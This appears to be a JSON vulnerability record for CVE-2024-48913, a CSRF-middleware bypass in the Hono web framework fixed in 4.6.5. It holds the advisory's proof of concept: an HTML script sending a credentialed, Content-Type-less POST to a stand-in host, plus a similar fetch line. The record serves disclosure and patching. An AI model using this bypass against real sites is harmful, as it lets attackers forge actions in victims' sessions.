{"id":"CVE-2024-48913","aliases":["CVE-2024-48913","GHSA-2234-fmw7-43wr"],"related":[],"kind":"vulnerability","state":"published","title":"Hono vulnerable to bypass of CSRF Middleware by a request without Content-Type header.","summary":"Hono, a web framework, prior to version 4.6.5 is vulnerable to bypass of cross-site request forgery (CSRF) middleware by a request without Content-Type header. Although the CSRF middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe. This can allow an attacker to bypass CSRF protection implemented with Hono CSRF middleware. Version 4.6.5 fixes this issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Hono, a web framework, prior to version 4.6.5 is vulnerable to bypass of cross-site request forgery (CSRF) middleware by a request without Content-Type header. Although the CSRF middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe. This can allow an attacker to bypass CSRF protection implemented with Hono CSRF middleware. Version 4.6.5 fixes this issue.","source":"cvelist"},{"lang":"en","text":"### Summary\nBypass CSRF Middleware by a request without Content-Type herader.\n\n### Details\nAlthough the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.\n\nhttps://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89\n\n### PoC\n```server.js\n// server.js\nimport { Hono } from 'hono'\nimport { csrf }from 'hono/csrf'\nconst app = new Hono()\napp.use(csrf())\napp.get('/', (c) => {\n  return c.html('Hello Hono!')\n})\napp.post('/', async (c) => {\n  console.log(\"executed\")\n  return c.text( await c.req.text())\n})\nDeno.serve(app.fetch)\n```\n\n```poc.html\n<!-- PoC.html -->\n<script>\nasync function myclick() {\n    await fetch(\"http://evil.example.com\", {\n    method: \"POST\",\n    credentials: \"include\",\n    body:new Blob([`test`],{}),\n    });\n}\n</script>\n<input type=\"button\" onclick=\"myclick()\" value=\"run\" />\n```\n\nSimilarly, the fetch API does not add a Content-Type header for requests that do not include a Body.\n```PoC2.js\nawait fetch(\"http://localhost:8000\", { method: \"POST\", credentials: \"include\"});\n```\n\n### Impact\nBypass csrf protection implemented with hono csrf middleware.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Hono, un framework web, anterior a la versión 4.6.5 es vulnerable a la omisión del middleware de cross-site request forgery (CSRF) mediante una solicitud sin encabezado Content-Type. Aunque el middleware CSRF verifica el encabezado Content-Type, Hono siempre considera que una solicitud sin un encabezado Content-Type es segura. Esto puede permitir que un atacante omita la protección CSRF implementada con el middleware CSRF de Hono. La versión 4.6.5 corrige este problema.","source":"nvd"}],"published":"2024-10-15T15:56:14.408Z","modified":"2026-09-10T03:50:19.035Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N","score":5.9,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N","score":5.9,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N","score":5.9,"rating":"MEDIUM"}],"cwes":["CWE-352"],"affected":[{"ranges":[{"version":"< 4.6.5","status":"affected"}],"vendor":"honojs","product":"hono","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","fixed":"4.6.5","status":"affected"}],"vendor":"hono","product":"hono","cpe":"cpe:2.3:a:hono:hono:*:*:*:*:*:node.js:*:*","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"4.6.5"}],"ecosystem":"npm","package":"hono","purl":"pkg:npm/hono","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"4.6.5"}],"vendor":"hono","product":"hono","cpe":"cpe:2.3:a:hono:hono:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/honojs/hono/security/advisories/GHSA-2234-fmw7-43wr","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/honojs/hono/commit/aa50e0ab77b5af8c53c50fe3b271892f8eeeea82","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89","tags":["product","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-48913","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/honojs/hono","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2024-10-15T16:14:46.011Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-48913","url":"https://www.cve.org/CVERecord?id=CVE-2024-48913","licence":"CVE Terms of Use","modified":"2024-11-07T18:33:39.270Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-2234-fmw7-43wr","url":"https://github.com/advisories/GHSA-2234-fmw7-43wr","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:19.035Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-48913","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-48913","licence":"Public domain","modified":"2026-06-17T07:59:01.610Z"}],"updatedAt":"2026-11-25T22:58:46.762Z","epss":{"score":0.00325,"percentile":0.27606,"date":"2026-12-01T12:00:22.000Z"}}